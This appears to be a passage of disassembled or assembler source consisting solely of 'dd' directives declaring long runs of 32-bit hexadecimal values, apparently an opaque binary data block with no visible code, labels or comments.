		dd 88B5D052h, 7EBD50F3h, 5598974h, 25CF4975h, 3075B238h
		dd 0E7F54758h, 0A9281E94h, 40BFA67Fh, 9557E940h, 685841C1h
		dd 0CAA2A488h, 2B556889h, 445032ECh, 0D8DE9D81h, 0E219E909h
		dd 0DE9A778Fh, 15A65245h, 0F79F8518h, 4B3B7019h, 0D2F21C34h
		dd 1404AFEBh, 82A0AD64h, 492113D1h, 0C016AA6Ch,	77CEF604h
		dd 35CA5C0Dh, 78BB2AF2h, 2F73E900h, 72557EBDh, 0C13B61FDh
		dd 0C12D1CCCh, 0F93C354Ch, 478E9F1Bh, 23709C8h,	687C7B51h
		dd 48F7A6C0h, 0E91B6704h, 50EBE075h, 5C12D03Ch,	3B3A29CDh
		dd 0D3C7CC04h, 4BF843DCh, 54748F5h, 46230C0Eh, 0B66469Ch
		dd 550901EFh, 450122DDh, 0BB3104BBh, 0C5ED45A5h, 0EE5F327Ch
		dd 1DB45B27h, 214FDCECh, 92464B30h, 5FB4C79Bh, 4DD77D29h
		dd 0BB178794h, 3019AB1Bh, 0E33B9156h, 0D1CB12E0h, 5E40A5CCh
		dd 81F47546h, 3C4CAA13h, 7D5589E7h, 0F169C271h,	3EE6082Eh
		dd 547C808Bh, 0D8015B55h, 4F4E1A6Ch, 1430D9F7h,	36D301F1h
		dd 4CE94AB4h, 97777C92h, 2CD821EBh, 49F69006h, 0AA885A13h
		dd 3012A9A6h, 5EF9FDB2h, 961C6C9h, 0B23412B2h, 926209E2h
		dd 10D94FD7h, 0BAFB120Ch, 0FF2198C9h, 0F2F0D713h, 0BF835024h
		dd 7DEBCD71h, 82AD6C45h, 0F746F98Ch, 4D789398h,	6B39719Fh
		dd 5F7FC2F5h, 0BF426759h, 8665F52Eh, 528088A1h,	9A6BB4BAh
		dd 32F69E5Ah, 52FD4207h, 0D5D8C4B0h, 7931EB02h,	0B000B152h
		dd 22C90CBFh, 5FE783Ah,	0D3F6E3D0h, 0D2C3BAFEh,	80CCA8C2h
		dd 286C3FF4h, 0EF53E91Eh, 0D7650110h, 6ADBFF82h, 0F8123F19h
		dd 6E8FC92Ah, 0EC2F87A1h, 785D2544h, 33EC078Dh,	0E05A0AAAh
		dd 4F915082h, 76C08B7h,	0C38CC02Bh, 975B0A09h, 9AF53BFDh
		dd 0F76161DEh, 4AB7E9CCh, 8C05BD79h, 0BF36FF8Bh, 7127CFE5h
		dd 0BF71AFB5h, 8AD184E5h, 5A017426h, 0CC4D355Fh, 0BBA28529h
		dd 4BBF508h, 0BC164E68h, 75F5C4B2h, 3421FB52h, 126F6FE9h
		dd 4374FEA3h, 1235D4AAh, 434EABF1h, 8895F01h, 0CAB0DE5Ah
		dd 0E315438Eh, 8DEED905h, 0C0FA4E33h, 2079288Bh, 0F3297A17h
		dd 68BB7809h, 88A27B73h, 0C133BE5h, 0AE0146A7h,	0BF5EFBD9h
		dd 5BE94274h, 741AD3Dh,	0D83058C3h, 4A9140BCh, 0E4B7ACF3h
		dd 29900180h, 56320B0Bh, 38606CE9h, 2D16E3BFh, 71240904h
		dd 0F260B0C7h, 192901D9h, 55ABFEE9h, 0C5D76FC5h, 2ED4CDC7h
		dd 5D2625F8h, 256F03F4h, 0E2025CF7h, 0CEA1F6DCh, 0B4E05509h
		dd 80808516h, 3BA75CEBh, 635BA610h, 0AC680Ch, 880AC41Fh
		dd 0B65258E1h, 0F62EB579h, 99048B13h, 9FF076E9h, 2447168Fh
		dd 398F5F5Eh, 0F5A348B0h, 6E3D2A9Eh, 9E6AD3Bh, 0B8EEDD24h
		dd 7E9042BDh, 626AEAB7h, 905D6C82h, 98EBD1E7h, 619D3866h
		dd 24C01727h, 554A70E9h, 8D85F1FCh, 0EE77EAE2h,	0DB02AB5h
		dd 840507ADh, 515BEC78h, 21C21DD8h, 0AF2DD500h,	514F30Fh
		dd 0F3741968h, 791F41B8h, 2DFF05B7h, 84AB6FE3h,	0BC071257h
		dd 55F0147h, 1EA70414h,	34600AD4h, 146F1FF9h, 5D002B07h
		dd 4B68E22Ch, 0DC4B9FE9h, 0EAD7D7E9h, 8E84EF85h, 2C4AC1ECh
		dd 0C540F6D4h, 81E84820h, 0D9A041A2h, 1B77E4B9h, 7A491330h
		dd 5CEA6003h, 91051638h, 0A0D22EF2h, 0A74AEC6Bh, 0C7D523AAh
		dd 7A403A92h, 18066EFh,	5AE4B0C2h, 619F31C3h, 2CAC0068h
		dd 4AB6B07Dh, 0EF268881h, 0C8B2744Fh, 24A2F303h, 8038353Dh
		dd 2AD48005h, 3CE4BD55h, 9455F53h, 0DA5D57F0h, 555B2CAAh
		dd 57F2194Fh, 0B27647CAh, 0E67D8964h, 7C4597FAh, 2202106Bh
		dd 0AB688042h, 14F97B53h, 1ED5F54h, 1DA25C2h, 0BA4BE2Dh
		dd 1BE9038Dh, 6DE76471h, 0AA0804B8h, 0B059DC81h, 417B5C77h
		dd 0E8528241h, 801E154Bh, 2E2F18C4h, 0E3810F79h, 35097B7Ah
		dd 0A3976354h, 2AFE82D1h, 5EFB316Bh, 6E346B0Ah,	533C3FB9h
		dd 0DA89CBBDh, 8B66595Bh, 793B8B63h, 0F3EE853Bh, 50DCA1E4h
		dd 18A28004h, 5A95CA2Ah, 4412DF85h, 0A22837F6h,	59E697BBh
		dd 0BFD39A16h, 49EDAED9h, 9F24A97Eh, 84EC0212h,	19DE553Dh
		dd 6F5011B4h, 588D08B9h, 3EA5211Ah, 0F6E3D34Bh,	4566500Eh
		dd 2D685E80h, 16497449h, 595C02EBh, 0C668417Fh,	98312E49h
		dd 0FD6A4110h, 0E4FFD2DDh, 0FB9A06B3h, 58B35F97h, 436D8DC0h
		dd 0E95F0B04h, 1CB463B5h, 4E169839h, 123B848h, 0E960A13Ah
		dd 50064D7h, 2A4A6D79h,	704FEF5h, 631292C8h, 53F24BF9h
		dd 8755C8CAh, 0EA9003CFh, 0E55B5EC4h, 0A1FBD4FFh, 49C53EB5h
		dd 0DD0C140h, 4B7034DCh, 0C027B137h, 484E8443h,	0F74B4D8Ah
		dd 111600ECh, 0D6E944E1h, 0C685C953h, 0B4BA42FAh, 50F60328h
		dd 0AF73F53Fh, 0CA40A072h, 24B20EFAh, 814A3Eh, 3FBEFEF9h
		dd 574E27E9h, 4B7B09F7h, 504601D4h, 7F888FB0h, 30C150E2h
		dd 2B50E9ECh, 0ABBAA2D0h, 6B4F3D7Ch, 42601196h,	30456892h
		dd 0BB0041E6h, 3E4D6B0Fh, 95DC86E9h, 7C4BCFDEh,	0A258964Fh
		dd 8FBACEB8h, 2C3ACC22h, 41D18A1h, 1BAAEE7Fh, 42AC3414h
		dd 68A862C5h, 69A27015h, 518BA1EEh, 40976C52h, 96FA7A4Dh
		dd 0C053E4B8h, 0FD41D82Ch, 0B292545Fh, 8E27405Ah, 0CF2020E9h
		dd 2CFD6812h, 8C1C5761h, 808C742Bh, 4314BE3Ch, 1AF265Eh
		dd 1B19350Ah, 3205EC0Ah, 410C456Fh, 6BA5386Dh, 2DE2970h
		dd 0E927716Ah, 0C3A2B88Ah, 0A2C05853h, 863F172Ch, 414E2D33h
		dd 72804335h, 9D2F203Bh, 5DFCDE09h, 2D1CBD60h, 7AD38318h
		dd 81A24EDDh, 0DF9EB5E3h, 4DE4A382h, 1087454Fh,	0CC17B72Eh
		dd 0B2C0400Fh, 0B10B08CBh, 3D008060h, 0FE59CB28h, 0E1B33DC9h
		dd 0A76FF432h, 0E0D72713h, 5C672F51h, 62141B10h, 0B4A7BD44h
		dd 0EAD594C5h, 10176DFCh, 0F7CFCC3Fh, 6812F173h, 98BA0A02h
		dd 8F402894h, 0C2065E04h, 3FCEDA6h, 0A1F20158h,	0CD7EEF9Eh
		dd 225CE5C6h, 5CC225ACh, 97B9A609h, 0C56FD0EAh,	56728852h
		dd 624543F6h, 0B252276Fh, 87D9BE34h, 3D4AAD8Ch,	3D22EAC3h
		dd 0DA72878h, 0F0717989h, 0D0D28792h, 0DEF600F0h, 0B40EEE80h
		dd 0DC5AF708h, 0F8280CC4h, 0A0E9E2EEh, 26517BB2h, 106FE6B5h
		dd 525F2559h, 0EC88270Dh
		dd 67E25E79h, 25E8E594h, 910D3D53h, 612AFB6Fh, 5B778E4h
		dd 73E5F7E0h, 0A8ED2D69h, 7C5886FEh, 0C0C709FEh, 1A0407E7h
		dd 2D5B0096h, 4D8D0115h, 0B31D9157h, 3AED2D5h, 0BF28508Bh
		dd 0D61B6A11h, 0D72680Eh, 0B6525998h, 0F788AE16h, 9D302F2Ch
		dd 0D5684091h, 10ED664Ch, 54055EE6h, 26C6F3E9h,	7B973ECFh
		dd 7BE961A1h, 5F252E5Ch, 31483DB3h, 0DBB2021Ah,	0C496E8DDh
		dd 25302618h, 17C8020Dh, 3AE14061h, 9E633BE1h, 0BD02E4ADh
		dd 16C366CEh, 6B7EC8D1h, 29E24DACh, 750B850Ah, 0D698FD3Dh
		dd 0DF9121F2h, 8B84B589h, 5548C12Ch, 0BC37BC6Fh, 6C932DE9h
		dd 92DED529h, 3B990069h, 0C170334Dh, 5361F040h,	4C173F0Fh
		dd 0BC5E60E6h, 3109703Dh, 417CE9CDh, 44815C21h,	1AA251A3h
		dd 46F2F881h, 0E9786009h, 0BB4920B3h, 516D75EBh, 9102A659h
		dd 1A985569h, 59814955h, 38CCE43Fh, 6E3C01Fh, 0CE427393h
		dd 4C7FB068h, 0D1195578h, 0C1C76C61h, 2E29846h,	92D73877h
		dd 0E50D831Dh, 296327FDh, 0D56B2A51h, 462CDDA0h, 53120E0Fh
		dd 48BCE0E9h, 0D764FB4Ah, 4F729CACh, 5A0209AEh,	417C12DDh
		dd 0F54A7147h, 73B11950h, 55640039h, 52056853h,	779856C0h
		dd 8AC7D85Ch, 0C8148ECEh, 0F4DD1E20h, 59CBBD9Eh, 6EF748BFh
		dd 5E2E2513h, 0F70BE87Ch, 0BFDCD1h, 183C021Dh, 0FA92FCE9h
		dd 3841535Ch, 589F00ACh, 0B6794BBh, 0FB0125CCh,	0E86F28D1h
		dd 13E226E7h, 0AAC5FEC3h, 898884BFh, 0E9950182h, 0D7A85771h
		dd 8B3561F6h, 0C07FF655h, 1F05C748h, 0FC44544Dh, 331DAD80h
		dd 9A8CE973h, 0F80C34DCh, 40E1462Ch, 0CF946842h, 4B654F38h
		dd 0D713F7FBh, 6BDD9DBEh, 0E9566241h, 8D3C649Ah, 0A2A44BDEh
		dd 0D53619FFh, 0EADC953Fh, 13182B8Ah, 98C1E5D3h, 0FCF39719h
		dd 0D101A6B4h, 23A46FE3h, 77EB1F85h, 20F1D215h,	0B564F3F4h
		dd 0DCBD2F2Dh, 58FE24DEh, 0CF226850h, 254A920Fh, 0E5F1D61Dh
		dd 0D516854Fh, 0E1C8A5AFh, 5B9D821Fh, 6017B753h, 3F8006C8h
		dd 3E97D0C7h, 26D9AB3Fh, 9A75F4EDh, 0D238F37Ah,	39E191EEh
		dd 0F7986A54h, 1DB84EE9h, 3B224B66h, 908F945Fh,	23F0C2Bh
		dd 0F72E0ABFh, 17256880h, 42192F4Bh, 540F2B24h,	4C36AF40h
		dd 803451BDh, 4AAF20A9h, 5507F581h, 45615830h, 2650E570h
		dd 89124857h, 0A80FF406h, 0EE0B260Bh, 0FF042E34h, 5B9C6A02h
		dd 0CA27E2E5h, 5CCA7574h, 0D245FC75h, 0ADBFB973h, 7FB64220h
		dd 83A18F9Eh, 44AB04DAh, 0FACB19FCh, 7D88D8DCh,	709233EFh
		dd 0D190FAEFh, 32F65F5Ah, 0D4CF850h, 6B912F16h,	80F50BBh
		dd 0A741D446h, 0BFFE856Eh, 6882D9A3h, 98771FDCh, 7273992Dh
		dd 199A0E6h, 2A132805h,	562F0A5h, 0BA683D2Dh, 0E92A4576h
		dd 5AA8D056h, 90B7C721h, 8297A416h, 0C5EB8869h,	0B4BDC7EFh
		dd 1335438h, 145C061Ch,	0ABA5210h, 7B03FE4Ah, 0D56257FCh
		dd 3CA144B5h, 5BFF260Ch, 6D5F1CCAh, 0AF919C11h,	116244F4h
		dd 60F7F453h, 4F81685Fh, 71AAEAABh, 1AEB3500h, 146FE525h
		dd 223D4E01h, 0DC203A98h, 0E64A1B60h, 785BB9C0h, 0E9591883h
		dd 60BB7D6Eh, 0F713991Eh, 5F458F89h, 44C1F213h,	937D385Bh
		dd 84B0E7EAh, 1896231h,	4E87BC3Ah, 0F4FB7B0h, 5B3AA019h
		dd 6D33E3C0h, 0F0B43C46h, 11399630h, 84EB4FB7h,	19C1BAECh
		dd 4FBBB8AEh, 4D1A8D06h, 0F41D5A3Eh, 0E12DCDF3h, 73CE1603h
		dd 0BF96BDCEh, 321D379h, 0FEF94C20h, 9CB9438h, 0B77CD2EFh
		dd 13DB44DAh, 0BB2CA368h, 0B001DD64h, 428E3858h, 6F6C67Fh
		dd 0A06B0741h, 0BD5E7616h, 4DE96EC8h, 26757965h, 651538EAh
		dd 0CCA5BE56h, 0DA4E0D6Ah, 0D1447A21h, 6802489Fh, 4AFE1D29h
		dd 4759AE61h, 2525E27Ah, 55E34282h, 0D288CB67h,	0A5F30157h
		dd 36386203h, 0D8680AA9h, 9889E43Dh, 0CD98DD8Ch, 0B1500D94h
		dd 0B0BF1D5h, 0D4786F58h, 13CF26E7h, 51B413Eh, 295D2B17h
		dd 0B656266Fh, 57099C44h, 12C8DB84h, 0F28516AEh, 82F02A48h
		dd 0C4CB904h, 0ABC2645Dh, 4D895F2Bh, 0CB635BDDh, 0AF72AC05h
		dd 1BAE8B2h, 7DAE71Eh, 7A01E99Eh, 0B110BDD7h, 406608FCh
		dd 1842801h, 36010F2Dh,	60D0060h, 677CF8DBh, 98A210A8h
		dd 0CCEC308h, 0C4086ACFh, 0F38D7940h, 8F4C6888h, 3160931Eh
		dd 418F081h, 0B6198F4h,	81A54648h, 1718CAEh, 40180886h
		dd 46265F8h, 6972728h, 0A9206970h, 0B33C20BFh, 10D87C31h
		dd 88DC98Eh, 0DF181CE3h, 0F47F08F6h, 0C98C5681h, 0AF28C0E9h
		dd 43601162h, 51250604h, 8B11531h, 0CC01CDA3h, 0BA0F019Fh
		dd 1B91E01h, 0DE0168FEh, 0C5701E9h, 1930B01h, 688CC53Ah
		dd 0F9105391h, 9B49D06Fh, 0AC593C71h, 83F188E2h, 808A107h
		dd 3908E38Ah, 0A9320878h, 1488C615h, 6234E257h,	0E0A0308h
		dd 0B1086708h, 0BB7D0822h, 8346C08h, 0B008FC64h, 0F24D08F6h
		dd 189CA708h, 57756176h, 0C4E7CC80h, 6C2C3C8h, 20B01082h
		dd 3BFE9456h, 0C6F23480h, 2013D828h, 54142F20h,	6232B8F8h
		dd 7D2B105Fh, 6BD94A4h,	6308FF0Ah, 9BC7131h, 21844010h
		dd 81E0E18h, 1810F3Eh, 0FF7303FEh, 0FEB45818h, 0CA3D7508h
		dd 8CAC3818h, 0D708DF2Eh, 0FB899D66h, 0A75B2008h, 209B8020h
		dd 0DE37446Ah, 0C1E648E3h, 0D17F3108h, 1DBEC18h, 61901C96h
		dd 42511056h, 20FCE22Ah, 33319616h, 0F6BF08C7h,	36E3888h
		dd 0CE5B108h, 0BF18DDDCh, 63748D40h, 0F3E010FAh, 0A3310819h
		dd 4824C718h, 4E0E408Fh, 40EDB740h, 9840CA62h, 3979C4E5h
		dd 0F04606D2h, 800DFE08h, 83804C55h, 0B011C8EDh, 128F4308h
		dd 285449FDh, 4FC3813h,	800426BCh, 923D04A2h, 0FF712F0Ch
		dd 40D40850h, 0C083E1CAh, 877A988h, 37081145h, 0C28C09CEh
		dd 88D82428h, 70089E90h, 0C2A03B99h, 20EAD133h,	3509104Bh
		dd 0AC6924F9h, 802318Ch, 103840F3h, 40610640h, 0ECAA6488h
		dd 544A9562h, 0D0A54048h, 30342B81h, 8BF6287h, 0DB02533Bh
		dd 455F0BA4h, 0BEBD84E8h, 0BBD531D9h, 52C535E2h, 0B97881EFh
		dd 0EE28A611h, 0FE592A05h, 6FEB6180h, 5FE3064Dh, 46A03FE9h
		dd 1C24BA05h, 83BF4B50h, 0A1CF5296h, 3E2EB673h,	0AB064CACh
		dd 1136C276h, 1CF5F209h, 2735675h, 9DB50B8h, 52BFE405h
		dd 0BD730C75h, 0DE25680Eh, 598A1218h, 14A90CD6h, 0CDEC50A4h
		dd 0D5F6A2A8h, 226B0DB8h, 70FCD61Ah, 209D4C91h,	0A177FC52h
		dd 7042F635h, 9E579D41h, 53C3BF55h, 0F2066899h,	5F8B83DBh
		dd 0DB0FE8FFh, 7C8E7934h, 0F7F1252h, 1ABCF201h,	0F51055FBh
		dd 0DB896C31h, 3DB8BFFCh, 1434D83h, 7A686184h, 691074CAh
		dd 9C39665Dh, 0EA5D649Ah, 0B415368Bh, 0C5962B41h, 0C7FBB221h
		dd 0C6F337B6h, 26EE99CDh, 1AE7CED8h, 287462E9h,	8E89765Fh
		dd 0C0F3514h, 1C111BC6h, 0CD015B0Fh, 0D3FC528Bh, 894F2AE1h
		dd 59F3318Ah, 63A34BF2h, 35859441h, 4A900158h, 82782602h
		dd 0A62580Ch, 0C2F8FD52h, 0C410883h, 4AB13A14h,	0ADE6EC7Fh
		dd 0BD55F710h, 0AB2A01DDh, 0B3E94D5Fh, 8931AF23h, 82EE51A4h
		dd 8503D8B9h, 4613DCDCh, 0AAB824FFh, 5D0190F9h,	21AC8628h
		dd 0E9F185F5h, 82002DA6h, 0E3C2805Bh, 0B0501F51h, 99124CF5h
		dd 5EB4316Eh, 0A687A4CFh, 880510E3h, 0E82FC60Ch, 8BC53CB3h
		dd 74E81CF9h, 64358E05h, 85CEBE13h, 0B9FE0413h,	9AE841Bh
		dd 69141998h, 500A512h,	1A4458B5h, 1C5B76F8h, 3569C2F7h
		dd 7BF015Dh, 1A3F26FCh
		dd 80F50660h, 0BB179563h, 129813h, 45E40792h, 555AD721h
		dd 1EAAE91Bh, 1764BF54h, 0AF58088h, 88DA8CB3h, 0FDF1CBEh
		dd 0A4DD1A0Eh, 405324E5h, 0FE7DFDEDh, 0FAD67F7Dh, 6215ADFDh
		dd 0F84EA52Ch, 0A3E19739h, 0F294A87Fh, 64E9FDDEh, 38B2AC2h
		dd 3637E90Ch, 20B54D78h, 38C2CD10h, 0C37B506Dh,	0D95E1893h
		dd 0A68D0C19h, 56696525h, 8153283Ch, 0BF0445ABh, 0CA2E2C9Dh
		dd 0FC202750h, 0D5FD9DF5h, 0B803E777h, 0E6B5E60h, 48F7BAD2h
		dd 9B23E048h, 17EF090Fh, 94559E5Dh, 0E2B42F7h, 17A14E57h
		dd 0BA012A55h, 871CFE69h, 1898AA85h, 2660B6F4h,	12CC2655h
		dd 3B38AF73h, 0D6DCBF5Ch, 88E95160h, 0A9014E46h, 0EB892EDh
		dd 0C25FCEB1h, 278E5B75h, 98FF640Fh, 0EEC7756Eh, 3B8051Dh
		dd 35F5E782h, 2A9F67Ah,	45A20AFh, 1715729h, 24E9ABCCh
		dd 47A36090h, 0BB92843Ch, 0CFEB3495h, 0C5E251BDh, 0F58F3B01h
		dd 7F20774Ch, 0C7F65C5Eh, 896F207Dh, 988250B4h,	0F748A672h
		dd 0D3124823h, 25C5E101h, 29457709h, 1B4AC47Bh,	1BB80C08h
		dd 0E93D7C0Bh, 61E17095h, 7CBF3E9Dh, 0FC32E920h, 404BBC19h
		dd 6342C1BAh, 382F9AE1h, 1FBC41E5h, 7E659278h, 0B4F4FE4Fh
		dd 15A61961h, 7DF0580Eh, 0AF0CD54Eh, 1E31FE4Bh,	0AC2BFBC4h
		dd 0ED0A84FFh, 0A5B631EAh, 0BD3C8020h, 660709A4h, 0D03974Dh
		dd 0A3F15ECDh, 138301Ah, 28A5410Bh, 380F409h, 0E06CE3C5h
		dd 0BE6021AAh, 0C00A6852h, 0DFF29FFFh, 0FAF95718h, 0FE27F642h
		dd 0E8774AC1h, 1021C118h, 3AF4506Eh, 0FFE98039h, 1B35E149h
		dd 0D41059CDh, 3D0D8CAAh, 54797804h, 0D61F7401h, 0B8B840EAh
		dd 62A04290h, 70022D00h, 7E052064h, 3CA43A67h, 0E0409584h
		dd 99C4AAF0h, 0E906A90Dh, 7EA844E0h, 0EA01091Eh, 7A32505Dh
		dd 95F75855h, 0CAAFD6C5h, 84ED655Bh, 0BCCED9E9h, 4166C20Ch
		dd 0AFD84046h, 20D3B515h, 6234173Dh, 7EB7D790h,	0D230092h
		dd 776022D2h, 0D048F740h, 0F1EE2F92h, 0A8E62801h, 0F10B9D2h
		dd 81386771h, 8351B660h, 0CB772992h, 5EDC0C26h,	6FB1469Dh
		dd 9404C74Ch, 1B4682D3h, 510E35C5h, 6528D368h, 8C384A83h
		dd 3C61B631h, 0CF657D5Fh, 120DF03Eh, 84F0600Bh,	0FFAE3A29h
		dd 48B7A11Ch, 0B7FA6F57h, 68C1EF51h, 366E105Fh,	485C54C8h
		dd 0E90D0707h, 0F5097AACh, 4146C7F3h, 50BA045Dh, 0A4587D3Dh
		dd 2812AA9Ch, 0AFF02EA8h, 0F96F1859h, 0D6F20E3Eh, 76250412h
		dd 61E3D101h, 0A86F6ECDh, 5A084088h, 6CC6F8FFh,	4B4C58FAh
		dd 88203Bh, 9A60C3B8h, 0FAEB920h, 3751782Eh, 0DE112A69h
		dd 0FE2EA118h, 0EC801EC4h, 40F08582h, 5FFD201h,	0F551E055h
		dd 98DC036Fh, 31C8E966h, 4BF2205Eh, 7A8F30F1h, 417C91A6h
		dd 2E873193h, 0EDC053ECh, 214F7FD8h, 811A5295h,	382B5E08h
		dd 0F4BF14A0h, 0FC686226h, 0A094E6D5h, 3059A7A7h, 99C8100Dh
		dd 217F360Fh, 4800C09Dh, 0EDCED61Fh, 0FF051A90h, 68A8C003h
		dd 0FE185302h, 6612624Ch, 838EAEB0h, 0B80F85Eh,	750D43E9h
		dd 0E3C9921Bh, 0EBE58132h, 0B86B86CAh, 0FFAC3Ah, 883828EEh
		dd 32E95008h, 592AFC9Dh, 84D84C57h, 4CBB2CA8h, 0AC781A2h
		dd 3EB1BF83h, 0E43601B1h, 0EC20934Ch, 0A9EEF8FCh, 5BA3AB2h
		dd 0CB35E597h, 0E613765Ah, 0E2AA013Ah, 5F5EC98Ch, 0E98B3F95h
		dd 0BC8829CFh, 0A875264Ch, 30565106h, 0C7E458D3h, 78223D5Fh
		dd 946A7C99h, 0A610E5EFh, 84D05B32h, 60694E66h,	0E95E3322h
		dd 0D682DEF6h, 475C8CD9h, 79FC5710h, 0F781F4A8h, 0BA2D1D0Eh
		dd 0C1D7A133h, 8E4003EFh, 6532459Eh, 809C0C43h,	68562704h
		dd 112873E2h, 0E605843Bh, 7EB80347h, 808494FBh,	0B940E7AAh
		dd 0BDC1314Bh, 18F87C51h, 57EC0F0Dh, 0A34F09CDh, 0F044C147h
		dd 1BB858ABh, 55BF2D05h, 0EF9D8Dh, 0E9F729CCh, 2C92802Ch
		dd 3780C74Bh, 4C1CDD55h, 932CFA4Fh, 0BB536002h,	123F0A65h
		dd 32E0165Ch, 0D0F153BCh, 93593848h, 0C194B3BBh, 144EBBB9h
		dd 4022F37Ah, 0D5B963C3h, 577C1303h, 0A9F40B21h, 0A682179Ah
		dd 0B40FADFEh, 2D6509C2h, 72E29801h, 5600F13Ah,	1F7A6C6Dh
		dd 4670C527h, 0B2DC1C6Ah, 0B2FA12C2h, 16C994D3h, 76AA2AECh
		dd 81FCB719h, 3FE5BB5Dh, 0D9FA4B8Fh, 0D0E00160h, 0FD8C6A7Ah
		dd 0A61C5CA3h, 0E81E20D3h, 2B486A05h, 685D04F9h, 0D4B31A5Bh
		dd 0E3563B04h, 35E18140h, 59660038h, 4D80628h, 0FE702C85h
		dd 24B64B53h, 0DB0C3D51h, 0BF5B143Bh, 5C955158h, 1B6805C7h
		dd 0E178985Eh, 84601C49h, 0BF40F296h, 51374921h, 3B6A2A80h
		dd 0BA481C18h, 75BA790Bh, 0EB5DB82h, 738B5F05h,	28374460h
		dd 0E92D3095h, 9AB4154h, 0C6E0AF71h, 0FF3AE301h, 0AE7DB631h
		dd 0BE4D12Eh, 680D8039h, 60B55148h, 4FDAB758h, 3E344E34h
		dd 81C0E6FCh, 0B97C88CAh, 902E1290h, 9A82A40Bh,	60412C24h
		dd 261272FEh, 95F1909h,	9948011Dh, 5D12CCEBh, 7300617Ch
		dd 496904F4h, 98DF5A29h, 1B50E3D2h, 6617744Bh, 9661D1Fh
		dd 6CF8094Ah, 31D21263h, 40580881h, 317A8289h, 8B209CB8h
		dd 0B1B0806Bh, 6DC83039h, 5576517Eh, 0FBE15A4Ah, 305802Bh
		dd 32613A2Eh, 742D860Ch, 0C84E1DDFh, 0E5AC17DBh, 0BBE2AAEh
		dd 0DC0505E5h, 0EBB14C3Eh, 2109A598h, 575D5158h, 74A9BDEDh
		dd 9A1D530Bh, 0D3D00297h, 0E8D30E32h, 4EACB4E7h, 7A69BF90h
		dd 8035877Dh, 9061E86h,	59CC88D4h, 0EBB66BDFh, 0CCBBECEDh
		dd 54BF0BDh, 0BE801CE3h, 0EE9271Bh, 0C6C682Dh, 0C0900EBDh
		dd 4676EA31h, 6AB87F21h, 252CB1FAh, 68D24301h, 43AB9BEh
		dd 52378F7Bh, 88BDEA57h, 3F23582Eh, 7B33280Fh, 0A322B284h
		dd 2B880887h, 0C9CE1F01h, 53C6FE02h, 9510229Fh,	65A1F6EBh
		dd 56C9546Ah, 2C09F358h, 7EF60329h, 42B7ED82h, 0A8B4C1DEh
		dd 0B49824Bh, 5F775C04h, 523F210h, 0E30659Ah, 0A67046C0h
		dd 29131340h, 927BB9EAh, 606695A0h, 7C55BEEh, 8F5B9D16h
		dd 0F16B09FFh, 0CE36480h, 39B4497Dh, 48BECA89h,	25332BE5h
		dd 6CD52080h, 22E9256Bh, 195FF80Bh, 167AC0FCh, 0E05FE8DFh
		dd 0B0C07FB7h, 67C9B585h, 250BBD02h, 0B9A3F585h, 0E2907A2Ch
		dd 0B160C1E9h, 6855B83Ch, 0BF114B05h, 4C6E4D90h, 0B6C7696h
		dd 20E16E1h, 0D0F1CE80h, 0A2C44562h, 7904942h, 3D4C75F2h
		dd 0A0971584h, 0FA3E5783h, 5EF4C901h, 96437576h, 80710E6Ch
		dd 0F565BAE5h, 0CD87ABDAh, 131B7E1h, 44E7523Ch,	41A2BE0Ch
		dd 0EED2DA85h, 0DFA3BC49h, 93BD73D3h, 0A7521B03h, 25F540AEh
		dd 814A910Ch, 399BCE04h, 12C03AE5h, 40A37BC5h, 870D0218h
		dd 8D2F7D3h, 5951EE40h,	0C7C6397h, 33F1FE30h, 7A356C01h
		dd 4B19F604h, 21C06622h, 0F0A607EDh, 0D14327E9h, 0EB0B7372h
		dd 0D6A7BD5h, 80555A5h,	7CB7F3AEh, 0E91653E6h, 98CAC12h
		dd 82779DEBh, 0DB2B3AE7h, 2FA1A0C8h, 0B972F3E0h, 908C7848h
		dd 0D715108Eh, 0E3FD4E79h, 0B6D54C72h, 2FCD5678h, 5DA7D751h
		dd 331776D8h, 3AEC4079h, 0BF12004h, 4E84EADBh, 0D7B0F901h
		dd 0A17B32DDh, 7EC8F143h, 2831F4A2h, 8FFC420Eh,	0C649B74Eh
		dd 9AC1716h, 0E0B3D0BDh, 9ACFD802h, 0E5F45B04h,	0B530704Bh
		dd 7572E2F6h, 59630A94h, 8822BDB3h, 0B02933B9h,	0E091B794h
		dd 0D858650Bh, 521CC7FEh, 0D71FBFB2h, 620E584Ch, 96D826F7h
		dd 804D30B3h, 0D073C0EDh, 8855CDF4h, 0EF1134D0h, 5CC075Ch
		dd 6716D9F8h, 6E578507h
		dd 0FE297261h, 8026C21h, 0F3B9E15Fh, 0B4505A00h, 0C480750Eh
		dd 0CCEC6177h, 0D4C9DCF6h, 20670E82h, 0E34158E7h, 5BFDD893h
		dd 0E61488D3h, 0A8662C9Dh, 0B5C30265h, 0ED5BCE89h, 412A20F5h
		dd 0E50BB721h, 0EB402427h, 225A08A1h, 0C0C84F3Bh, 41764B45h
		dd 4973A885h, 5A013B40h, 0BA5C87E3h, 0FDC3E281h, 759C55FBh
		dd 27EB7419h, 77F56D17h, 82E94520h, 974CB4B2h, 0B6FDC01Bh
		dd 0F71C20BBh, 0BAB15A66h, 8C6BE1D4h, 0E2BF6397h, 0CA81DE5Ah
		dd 2A0A04D7h, 0B8B8FA20h, 0A2BA52C0h, 6158534Ah, 3AB8755Eh
		dd 1A26C690h, 1F41B9E6h, 5DF2C316h, 24118CC9h, 6EF6803Fh
		dd 0F15FEBE6h, 0E9D40BB5h, 3C72694Fh, 82FB88D5h, 0F6007226h
		dd 0E94C180Eh, 3C6D4C98h, 9AD5CCCh, 9B5704BFh, 0B9E01293h
		dd 5734B71Dh, 71D80BBAh, 0B18039CBh, 327D1151h,	8CEE913h
		dd 7293B290h, 30127BC4h, 0C1170C77h, 6289E9Ah, 5F5F8ED4h
		dd 2B409E6Dh, 1CCC8017h, 0C6ECC008h, 358A71E9h,	691CC305h
		dd 0E9001794h, 756D529Bh, 0D4A0B543h, 0EB4B243Dh, 10C9E90Bh
		dd 7E534401h, 28E32875h, 4189B0F9h, 683D3A42h, 6882B338h
		dd 0BF7A1548h, 0C1CBE912h, 35F85352h, 54EE4B4Bh, 77FF27E0h
		dd 21E0284Fh, 186817D7h, 4FC0FD7Eh, 3BB122F8h, 35388206h
		dd 401147D2h, 0D7AA0D7Fh, 0DE80AD24h, 6201D717h, 739C649Ah
		dd 0E24AA862h, 3CECC4BCh, 0F70E92A9h, 688787DEh, 56211C79h
		dd 4FF2B952h, 14335D3h,	7BBDBF41h, 3B504CD7h, 1648F3B9h
		dd 0BF69F05Eh, 218D2E12h, 1EC04C84h, 4A313244h,	93F0833h
